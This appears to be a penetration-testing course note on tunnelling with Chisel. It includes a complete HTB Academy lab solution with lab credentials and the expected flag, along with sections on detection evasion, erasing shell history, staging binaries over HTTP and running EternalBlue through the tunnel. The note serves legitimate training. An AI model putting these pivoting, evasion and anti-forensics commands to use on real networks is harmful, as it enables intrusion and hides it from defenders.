⚡Chisel SOCKS5 Tunneling

📋 Module Overview

Purpose: TCP/UDP tunneling using HTTP transport secured with SSH Tool: Chisel - Go-based tunneling tool Protocol: HTTP with SSH encryption Advantage: Bypasses firewall restrictions, SOCKS5 proxy support Use Case: Internal network access, traffic pivoting, RDP tunneling

1. Introduction to Chisel

What is Chisel?

  • Language: Written in Go (Golang)

  • Transport: HTTP-based tunneling

  • Security: SSH encryption for data protection

  • Proxy Support: SOCKS4/SOCKS5 proxy functionality

  • Modes: Client-server and reverse tunneling

  • Platform: Cross-platform (Windows, Linux, macOS)

How Chisel Works

[Attack Host] ←HTTP/SSH→ [Pivot Host] ←Internal→ [Target Network]
Chisel Client              Chisel Server           172.16.5.0/23
SOCKS5 Proxy               Port Forward            Domain Controller
127.0.0.1:1080             Network Bridge          172.16.5.19

Chisel vs Other Tunneling Tools

Aspect

Chisel

SSH Tunnel

Meterpreter

Protocol

HTTP/SSH

SSH

TCP

Firewall Bypass

Excellent

Limited

Good

Setup Complexity

Low

Low

Medium

Performance

High

High

Medium

Platform Support

Cross-platform

Limited

Windows Focus

Binary Size

~11MB

N/A

Large

2. Installation and Setup

Method 1: Pre-built Binaries (Recommended)

Download Specific Version (HTB Academy Compatible)

# HTB Academy requires v1.7.6 for compatibility
wget -q https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_amd64.gz

# Extract binary
gunzip chisel_1.7.6_linux_amd64.gz

# Make executable
chmod +x chisel_1.7.6_linux_amd64

# Verify version
./chisel_1.7.6_linux_amd64 version

Download Latest Version

# Check latest releases
curl -s https://api.github.com/repos/jpillora/chisel/releases/latest | grep "browser_download_url.*linux_amd64" | cut -d '"' -f 4

# Example download (replace with latest version)
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64

Method 2: Build from Source

Prerequisites

# Install Go programming language
sudo apt update
sudo apt install golang-go

# Verify Go installation
go version

Clone and Build

# Clone Chisel repository
git clone https://github.com/jpillora/chisel.git
cd chisel

# Build binary
go build

# Result: chisel binary in current directory
ls -la chisel

Cross-compilation for Different Platforms

# Build for Windows
GOOS=windows GOARCH=amd64 go build -o chisel.exe

# Build for ARM64 Linux
GOOS=linux GOARCH=arm64 go build -o chisel_arm64

# Build for macOS
GOOS=darwin GOARCH=amd64 go build -o chisel_macos

Binary Size Optimization

# Reduce binary size with build flags
go build -ldflags="-s -w" -o chisel_small

# Compare sizes
ls -lh chisel*

# Further compression with UPX
sudo apt install upx
upx --best chisel_small

3. Normal Mode - Server on Pivot Host

Architecture Overview

[Attack Host] → [Pivot Host] → [Internal Network]
Chisel Client   Chisel Server   Target Systems
127.0.0.1:1080  Port 1234       172.16.5.0/23
SOCKS5 Proxy    HTTP Listener   Domain Controller

Step 1: Transfer Binary to Pivot Host

# SCP transfer to Ubuntu pivot host
scp chisel_1.7.6_linux_amd64 ubuntu@10.129.202.64:~/

# Alternative: HTTP download on pivot host
# On attack host: python3 -m http.server 8000
# On pivot host: wget http://10.10.14.17:8000/chisel_1.7.6_linux_amd64

Step 2: Start Server on Pivot Host

# SSH to pivot host
ssh ubuntu@10.129.202.64

# Make binary executable
chmod +x chisel_1.7.6_linux_amd64

# Start Chisel server with SOCKS5 support
./chisel_1.7.6_linux_amd64 server -v -p 1234 --socks5

# Expected output:
# 2022/05/05 18:16:25 server: Fingerprint Viry7WRyvJIOPveDzSI2piuIvtu9QehWw9TzA3zspac=
# 2022/05/05 18:16:25 server: Listening on http://0.0.0.0:1234

Step 3: Connect Client from Attack Host

# Start Chisel client
./chisel_1.7.6_linux_amd64 client -v 10.129.202.64:1234 socks

# Expected output:
# 2022/05/05 14:21:18 client: Connecting to ws://10.129.202.64:1234
# 2022/05/05 14:21:18 client: tun: proxy#127.0.0.1:1080=>socks: Listening
# 2022/05/05 14:21:19 client: Connected (Latency 120.170822ms)

Step 4: Configure Proxychains

# Edit proxychains configuration
sudo nano /etc/proxychains.conf

# Add SOCKS5 proxy entry
socks5 127.0.0.1 1080

# Comment out default SOCKS4 entry
#socks4 127.0.0.1 9050

# Verify configuration
tail -f /etc/proxychains.conf

Step 5: Use Tunnel for RDP

# RDP to internal Domain Controller
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

# Alternative RDP tools
proxychains rdesktop 172.16.5.19
proxychains remmina

4. Reverse Mode - Server on Attack Host

When to Use Reverse Mode

  • ✅ Firewall blocks inbound connections to pivot host

  • ✅ NAT restrictions prevent external access

  • ✅ Egress-only network policies

  • ✅ Better OPSEC - server on attacker-controlled host

Architecture Overview

[Attack Host] ← [Pivot Host] → [Internal Network]
Chisel Server   Chisel Client   Target Systems
Port 1234       Reverse Conn    172.16.5.0/23
SOCKS5 Listener R:socks         Domain Controller

Step 1: Start Reverse Server on Attack Host

# Start Chisel server with reverse option
sudo ./chisel_1.7.6_linux_amd64 server --reverse -v -p 1234 --socks5

# Expected output:
# 2022/05/30 10:19:16 server: Reverse tunnelling enabled
# 2022/05/30 10:19:16 server: Fingerprint n6UFN6zV4F+MLB8WV3x25557w/gHqMRggEnn15q9xIk=
# 2022/05/30 10:19:16 server: Listening on http://0.0.0.0:1234

Step 2: Connect Reverse Client from Pivot Host

# On pivot host, connect with R:socks option
./chisel_1.7.6_linux_amd64 client -v 10.10.14.17:1234 R:socks

# Expected output:
# 2022/05/30 14:19:29 client: Connecting to ws://10.10.14.17:1234
# 2022/05/30 14:19:30 client: Connected (Latency 117.204196ms)
# 2022/05/30 14:19:30 client: tun: SSH connected

Step 3: Configure Proxychains (Same as Normal Mode)

# Proxychains still uses local SOCKS5 proxy
socks5 127.0.0.1 1080

# Test connection
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

5. HTB Academy Lab Exercise

Lab Challenge

"Using the concepts taught in this section, connect to the target and establish a SOCKS5 Tunnel that can be used to RDP into the domain controller (172.16.5.19, victor:pass@123). Submit the contents of C:\Users\victor\Documents\flag.txt as the answer."

Lab Environment

  • Target SSH: Ubuntu pivot host with credentials ubuntu:HTB_@cademy_stdnt!

  • Internal Network: 172.16.5.0/23

  • Domain Controller: 172.16.5.19

  • DC Credentials: victor:pass@123

  • Flag Location: C:\Users\victor\Documents\flag.txt

  • Expected Flag: Th3$eTunne1$@rent8oring!

Complete Lab Solution

Step 1: Download Chisel v1.7.6

# On Pwnbox/Attack Host - download specific version
wget -q https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_amd64.gz

# Extract binary
gunzip chisel_1.7.6_linux_amd64.gz

# Make executable
chmod +x chisel_1.7.6_linux_amd64

# Verify version
./chisel_1.7.6_linux_amd64 version

Step 2: Transfer to Pivot Host

# SCP transfer to spawned Ubuntu target
scp chisel_1.7.6_linux_amd64 ubuntu@[TARGET_IP]:~/

# Example with real IP:
scp chisel_1.7.6_linux_amd64 ubuntu@10.129.202.64:~/

# Expected output:
# chisel_1.7.6_linux_amd64           100%   11MB   2.2MB/s   00:04

Step 3: SSH to Pivot Host

# Connect to Ubuntu pivot host
ssh ubuntu@[TARGET_IP]

# Example:
ssh ubuntu@10.129.202.64
# Password: HTB_@cademy_stdnt!

# Expected output:
# Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
# ubuntu@WEB01:~$

Step 4: Start Chisel Server on Pivot

# Make binary executable
chmod +x chisel_1.7.6_linux_amd64

# Start server with SOCKS5 on port 9001
./chisel_1.7.6_linux_amd64 server -v -p 9001 --socks5

# Expected output:
# 2024/07/22 15:58:14 server: Fingerprint ahzt0qJwsDsK64elAJZvaVS+AoqJhgbpnV56kZvn/b8=
# 2024/07/22 15:58:14 server: Listening on http://0.0.0.0:9001

Step 5: Connect Client from Attack Host

# On Pwnbox - connect to Chisel server
./chisel_1.7.6_linux_amd64 client -v [TARGET_IP]:9001 socks

# Example:
./chisel_1.7.6_linux_amd64 client -v 10.129.202.64:9001 socks

# Expected output:
# 2022/08/29 16:43:10 client: Connecting to ws://10.129.202.64:9001
# 2022/08/29 16:43:10 client: tun: proxy#127.0.0.1:1080=>socks: Listening
# 2022/08/29 16:43:11 client: Connected (Latency 87.992506ms)
# 2022/08/29 16:43:11 client: tun: SSH connected

Step 6: Configure Proxychains

# Verify proxychains configuration
tail -n2 /etc/proxychains.conf

# Should show:
#socks4 	127.0.0.1 9050
socks5 127.0.0.1 1080

# If not configured, edit:
sudo nano /etc/proxychains.conf
# Add: socks5 127.0.0.1 1080
# Comment: #socks4 127.0.0.1 9050

Step 7: RDP to Domain Controller

# Use proxychains to RDP through tunnel
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'

# Expected connection details:
# Certificate details for 172.16.5.19:3389 (RDP-Server):
# Common Name: DC01.inlanefreight.local
# Subject:     CN = DC01.inlanefreight.local
# Accept certificate: Y

Step 8: Retrieve Flag

# In RDP session, open Command Prompt
# Navigate to Documents folder
cd C:\Users\victor\Documents\

# Read flag file
type flag.txt

# Expected flag content:
Th3$eTunne1$@rent8oring!

Lab Solution Summary

# Attack Host Commands:
wget -q https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_amd64.gz
gunzip chisel_1.7.6_linux_amd64.gz
chmod +x chisel_1.7.6_linux_amd64
scp chisel_1.7.6_linux_amd64 ubuntu@TARGET_IP:~/

# Pivot Host Commands:
ssh ubuntu@TARGET_IP
chmod +x chisel_1.7.6_linux_amd64
./chisel_1.7.6_linux_amd64 server -v -p 9001 --socks5

# Attack Host (new terminal):
./chisel_1.7.6_linux_amd64 client -v TARGET_IP:9001 socks
proxychains xfreerdp /v:172.16.5.19 /u:victor /p:'pass@123'

# Target DC (RDP session):
type C:\Users\victor\Documents\flag.txt

6. Advanced Chisel Techniques

Port Forwarding (Local)

# Forward specific port instead of SOCKS proxy
./chisel client 10.129.202.64:1234 3389:172.16.5.19:3389

# Now connect directly to local port
xfreerdp /v:127.0.0.1:3389 /u:victor /p:pass@123

Port Forwarding (Remote)

# Server with reverse mode
./chisel server --reverse -p 1234

# Client creating remote forward
./chisel client 10.10.14.17:1234 R:8080:172.16.5.19:80

# Now attack host port 8080 forwards to internal web server

Multiple Tunnels

# Server supporting multiple connections
./chisel server -p 1234 --socks5

# Multiple clients can connect simultaneously
./chisel client 10.129.202.64:1234 socks    # Client 1
./chisel client 10.129.202.64:1234 socks    # Client 2

HTTP Proxy Mode

# HTTP proxy instead of SOCKS
./chisel server -p 1234 --proxy http://127.0.0.1:8080

# Configure browsers to use HTTP proxy
# Proxy: 127.0.0.1:8080

7. Troubleshooting

Common Issues

Version Compatibility

# Problem: glibc version mismatch
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version 'GLIBC_2.32' not found

# Solutions:
1. Use older Chisel version (v1.7.6)
   wget https://github.com/jpillora/chisel/releases/download/v1.7.6/chisel_1.7.6_linux_amd64.gz

2. Static compilation
   go build -ldflags="-linkmode external -extldflags -static"

3. Use compatible binary for target OS

Connection Issues

# Problem: Connection refused
client: Connecting to ws://10.129.202.64:1234
client: dial tcp 10.129.202.64:1234: connection refused

# Solutions:
1. Check server is running
   ps aux | grep chisel

2. Verify port is listening
   netstat -tlnp | grep 1234

3. Check firewall rules
   sudo ufw status

SOCKS Version Mismatch (COMMON)

# Problem: Chisel server shows version errors
[ERR] socks: Unsupported SOCKS version: [4]
tun: conn#1: Close [0/1] (error Unsupported SOCKS version: [4])

# Root Cause: proxychains.conf uses socks4, but Chisel provides socks5

# Solution: Fix proxychains configuration
sudo nano /etc/proxychains4.conf

# Change from:
socks4 127.0.0.1 1080

# To:
socks5 127.0.0.1 1080

# Verify fix:
tail -n5 /etc/proxychains4.conf

SOCKS Proxy Not Working

# Problem: proxychains connection fails
ProxyChains-3.1 (http://proxychains.sf.net)
|DNS-request| 172.16.5.19
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.1:53-<><>-OK
|DNS-response| 172.16.5.19 is 172.16.5.19

# Solutions:
1. Check SOCKS proxy is listening
   netstat -tlnp | grep 1080

2. Test with simple command
   proxychains curl http://172.16.5.19

3. Verify proxychains.conf
   tail /etc/proxychains.conf

Binary Transfer Issues

# Problem: SCP permission denied
scp: /tmp/chisel: Permission denied

# Solutions:
1. Transfer to user home directory
   scp chisel ubuntu@target:~/

2. Use different transfer method
   # Python HTTP server
   python3 -m http.server 8000
   # On target: wget http://attack_ip:8000/chisel

3. Check disk space
   df -h /tmp

Performance Optimization

# Increase connection timeout
./chisel client --keepalive 30s target:1234 socks

# Disable compression for speed
./chisel server --no-compression -p 1234 --socks5

# Use different ports to avoid conflicts
./chisel server -p 8080 --socks5  # Server port
./chisel client target:8080 socks  # SOCKS on 1080

8. Operational Security (OPSEC)

Stealth Considerations

  1. HTTP Traffic - appears as web traffic

  2. Custom User-Agent - avoid detection signatures

  3. Port Selection - use common HTTP ports (80, 8080, 8000)

  4. Traffic Analysis - WebSocket upgrade patterns

  5. Binary Artifacts - temporary files, process names

Detection Evasion

# Use common ports
./chisel server -p 80 --socks5        # HTTP port
./chisel server -p 443 --socks5       # HTTPS port

# Custom headers to blend in
./chisel server --headers "Server: Apache/2.4.41"

# Process name obfuscation
cp chisel apache2
./apache2 server -p 80 --socks5

Cleanup Commands

# Remove binary artifacts
rm -f chisel*
rm -f /tmp/chisel*

# Clear command history
history -c
unset HISTFILE

# Kill background processes
pkill -f chisel

9. Integration with Other Tools

Metasploit Integration

# Use Chisel SOCKS proxy with Metasploit
echo "setg Proxies socks5:127.0.0.1:1080" > /tmp/msf_proxy.rc
msfconsole -r /tmp/msf_proxy.rc

# All Metasploit traffic now goes through Chisel tunnel
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.16.5.19
exploit

Nmap through Tunnel

# Scan internal network through SOCKS proxy
proxychains nmap -sT -Pn 172.16.5.0/24

# Service enumeration
proxychains nmap -sT -Pn -sV -p 80,443,3389 172.16.5.19

Web Application Testing

# Configure Burp Suite to use SOCKS proxy
# Proxy settings: 127.0.0.1:1080 SOCKS5

# Browser with proxy
proxychains firefox http://172.16.5.19/webapp

10. Alternative Tools Comparison

Chisel vs Similar Tools

Tool

Protocol

Encryption

Proxy Type

Platform

Size

Chisel

HTTP/WebSocket

SSH

SOCKS4/5, HTTP

Cross-platform

~11MB

SSF

TCP

TLS

SOCKS4/5

Cross-platform

~15MB

ngrok

HTTP/HTTPS

TLS

HTTP

Cross-platform

~25MB

frp

TCP/HTTP

TLS

Multiple

Cross-platform

~20MB

Ligolo

TUN/TAP

TLS

Network layer

Cross-platform

~10MB

When to Choose Chisel

✅ HTTP-friendly environments ✅ WebSocket support required ✅ SSH encryption needed ✅ Cross-platform compatibility ✅ SOCKS proxy functionality ✅ Moderate binary size acceptable

References

PreviousRemote Port ForwardingNextSSHuttle Pivoting

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